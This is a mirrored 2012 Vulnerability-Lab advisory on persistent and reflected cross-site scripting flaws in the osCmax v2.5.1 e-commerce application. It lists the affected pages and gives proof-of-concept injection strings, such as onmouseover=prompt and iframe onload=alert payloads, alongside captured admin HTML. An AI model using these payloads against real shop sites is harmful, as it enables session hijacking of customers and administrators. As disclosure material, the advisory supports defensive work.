Lucene search

K
securityvulnsSecurityvulnsSECURITYVULNS:DOC:27985
HistoryApr 23, 2012 - 12:00 a.m.

osCmax Shop CMS v2.5.1 - Multiple Web Vulnerabilities

2012-04-2300:00:00
vulners.com
44

Title:

osCmax Shop CMS v2.5.1 - Multiple Web Vulnerabilities

Date:

2012-04-08

References:

http://www.vulnerability-lab.com/get_content.php?id=497

VL-ID:

497

Introduction:

osCMax is a powerful e-commerce/shopping cart web application. There are many advantages to using osCMax as your
e-commerce/shopping cart for your web site. It has all the features needed to run a successful internet store
and can be customized to whatever configuration you need. osCmax is community developed software that is free,
open source and hosted on your own web server. It is easy enough to use for small startup stores and feature
rich to support very large operations that need more advanced eCommerce features. There are no artificial limits
placed on the feature set, amount of products or sales amounts which is commonly seen with paid or
hosted eCommerce solutions.

  • Unlimited Products and Categories
  • Gift Vouchers/Coupons
  • Download/Virtual Product support
  • Secure/Stable code base
  • Web Based admin Panel
  • Supports PayPal, AuthorizeNet, Real time credit card processing
  • Supports UPS, USPS and Fed X shipping
  • Unlimited product Specials
  • Separate customer groups (Retail, Wholesale, or add your own groups)
  • Compatible with most other mods available for osCommerce

(Copy of the Vendor Homepage: http://www.oscmax.com/)

Abstract:

The Vulnerability Laboratory Researcher Team discovered multiple Web Vulnerabilities on the osCmax v2.5.1 shop web application.

Report-Timeline:

2012-04-08: Public or Non-Public Disclosure

Status:

Published

Exploitation-Technique:

Remote

Severity:

Medium

Details:

1.1
Multiple persistent input validation vulnerabilities are detected on the osCmax v2.5.1 shop web application.
The bugs allow remote attackers to implement/inject malicious script code on the application side (persistent).
Successful exploitation of the vulnerability can lead to session hijacking (manager/admin) or stable (persistent)
context manipulation. Exploitation requires low user inter action.

Vulnerable Module(s):
[+] Register Form - Input Fields & Login Username Display
[+] Contacts Us - Send Input Fields & Admin output Display
[+] Add Groups Name - Control Panel

Picture(s):
…/1.png
…/2.png

1.2
Multiple non persistent cross site scripting vulnerabilities are detected on the osCmax v2.5.1 shop web application.
The vulnerability allows remote attackers to hijack website customer, moderator or admin sessions with medium required
user inter action or local low privileged user account. Successful exploitation can result in account steal, phishing
& client-side content request manipulation.

Vulnerable Module(s):
[+] Advanced Search
[+] Advanced Search Results
[+] Catalog Products with Images
[+] Contact Us Value
[+] Index
[+] Information
[+] Shopping Cart
[+] Wishlist & Wishlist Help
[+] Index - Query

Picture(s):
…/3.png
…/4.png
…/5.png

Proof of Concept:

1.1
Review: Register & Contact us

URL encoded POST input name was set to " onmouseover=prompt(vulnerabilitylab) evil="
The input is reflected inside of a tag element between double quotes. The issue can be exploited by including
malcious script code via contact or register.

Review: Add Groups
URL:

   <td><table border="0" cellpadding="0" cellspacing="0" width="100%">
      <tbody><tr>
        <td valign="top"><table border="0" cellpadding="2" cellspacing="0" width="100%">
           <tbody><tr class="dataTableHeadingRow">
       <td class="dataTableHeadingContent"><a href="/oscmax/admin/customers_groups.php?listing=group"><img 

src="includes/languages/german/images/buttons/ic_up.gif" alt="Sortieren Name –> A-B-C Aufsteigend" title="
Sortieren Name –> A-B-C Aufsteigend " border="0"></a> <a href="/oscmax/admin/customers_groups.php?listing=group-desc">
<img src="includes/languages/german/images/buttons/ic_down.gif" alt="Sortieren Name –> Z-Y-X Absteigend"
title=" Sortieren Name –> Z-Y-X Absteigend " border="0"></a><br>Name</td>
<td class="dataTableHeadingContent" align="right" valign="bottom">Aktion </td>
</tr>
<tr style="" class="dataTableRowSelected" onmouseover="this.style.cursor='hand'" onclick="document.location.href='
http://xxx.com/oscmax/admin/customers_groups.php?listing=&quot;=&amp;&gt;&lt;iframe_src=a onload=alert(&VULNERABILITYLAB=&)_
<=&page=1&cID=0&action=edit'">
<td class="dataTableContent">"><iframe src="a" onload='alert("VULNERABILITYLAB</td'>
<td class="dataTableContent" align="right"><img src="images/icons/icon_arrow_right.gif"
border="0" alt=""> </td>
</tr>
<tr class="dataTableRow" onmouseover="this.className='dataTableRowOver';this.style.cursor='hand'"
onmouseout="this.className='dataTableRow'" onclick="document.location.href='http://xxx.com/oscmax/admin/customers_groups.php?
listing="=&><iframe_src=a onload=alert(&VULNERABILITYLAB=&)<=&page=1&cID=1'">
<td class="dataTableContent">Wholesale</td>
<td class="dataTableContent" align="right"><a href="http://xxx.com/oscmax/admin/customers_groups.php?
listing="=&><iframe_src=a onload=alert(&VULNERABILITYLAB=&)
<=&page=1&cID=1"><img src="
images/icons/information.png" border="0" alt="Info" title=" Info "></a> </td>
</tr>
<tr>

A later effect is also that a group is getting unparsed displayed on katalog add article function.
On all add of articles the groups will be displayed and executed out of the shopping application admin context.

          &lt;div id=&quot;qpbpp&quot; class=&quot;cgtabs ui-tabs ui-widget ui-widget-content ui-corner-all&quot;&gt;
            &lt;ul class=&quot;tabnav ui-tabs-nav ui-helper-reset ui-helper-clearfix ui-widget-header ui-corner-all&quot;&gt;   

<li class="ui-state-default ui-corner-top ui-tabs-selected ui-state-active"><a href="#pricebreak-0">
<iframe src="http://vuln-lab.com"></a></li>
<li><a href="#pricebreak-1">Wholesale</a></li>
</ul>

Note: It looks like all name input fields & add masks (katalog, vouchur, carts) are vulnerable to that issue.

1.2
The client side cross site scripting vulnerabilities can be exploited by remote attackers with medium required user inter action.
For demonstration or reproduce …

All the following site of the application are vulnerable to client side cross site scripting.

/oscmax/index.php?query=[Cross Site Scripting]
/oscmax/advanced_search.php/[Cross Site Scripting]
/oscmax/advanced_search_result.php/
[Cross Site Scripting]
/oscmax/catalog_products_with_images.php/[Cross Site Scripting]
/oscmax/contact_us.php/
[Cross Site Scripting]
/oscmax/index.php/[Cross Site Scripting]
/oscmax/information.php/
[Cross Site Scripting]
/oscmax/shopping_cart.php/[Cross Site Scripting]
/oscmax/wishlist.php/
[Cross Site Scripting]
/oscmax/wishlist_help.php/[Cross Site Scripting]
/oscmax/create_account.php/
[Cross Site Scripting]

Review: Index - Query
URL: oscmax/index.php?query=
String: <Iframe src=http://www.vulnerability-lab.com>

Review: Create Account
URL: oscmax/create_account.php
String: onmouseover=prompt(vulenrabilitylab)>

eval('document.' + name); if (w3c) return document.getElementById(name); if (ie4) return eval('document.all.' + name);
return false; } //Gets the browser specific XmlHttpRequest Object function getXmlHttpRequestObject() { if
(window.XMLHttpRequest) { return new XMLHttpRequest(); } else if(window.ActiveXObject) { return new ActiveXObject
("Microsoft.XMLHTTP"); } else { alert("Your browser does not support this feature. Please upgrade or use a different
browser. Older (pre-v2.8) versions of Order Editor do not have this restriction."); } } //Our XmlHttpRequest object
to get the auto suggest var request = getXmlHttpRequestObject(); /***************************************************
GET STATES FUNCTIONS ***************************************************/ function getStates(countryID, div_element)
{ if (request.readyState == 4 || request.readyState == 0) { // indicator make visible here… getObject("indicator")
.style.visibility = 'visible'; var contentType = "application/x-www…

Risk:

1.1
The security risk of the persistent (application side) input validation vulnerabilities are estimated as medium.

1.2
The security risk of the non persistent (client side) cross site scripting vulnerabilities are estimated as low(+).

Credits:

Vulnerability Research Laboratory Team - N/A Anonymous

Disclaimer:

The information provided in this advisory is provided as it is without any warranty. Vulnerability-Lab disclaims all warranties,
either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-
Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business
profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some
states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation
may not apply. Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability-
Lab. Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of
other media, are reserved by Vulnerability-Lab or its suppliers.

                                            Copyright © 2012 Vulnerability-Lab


VULNERABILITY RESEARCH LABORATORY TEAM
Website: www.vulnerability-lab.com
Mail: [email protected]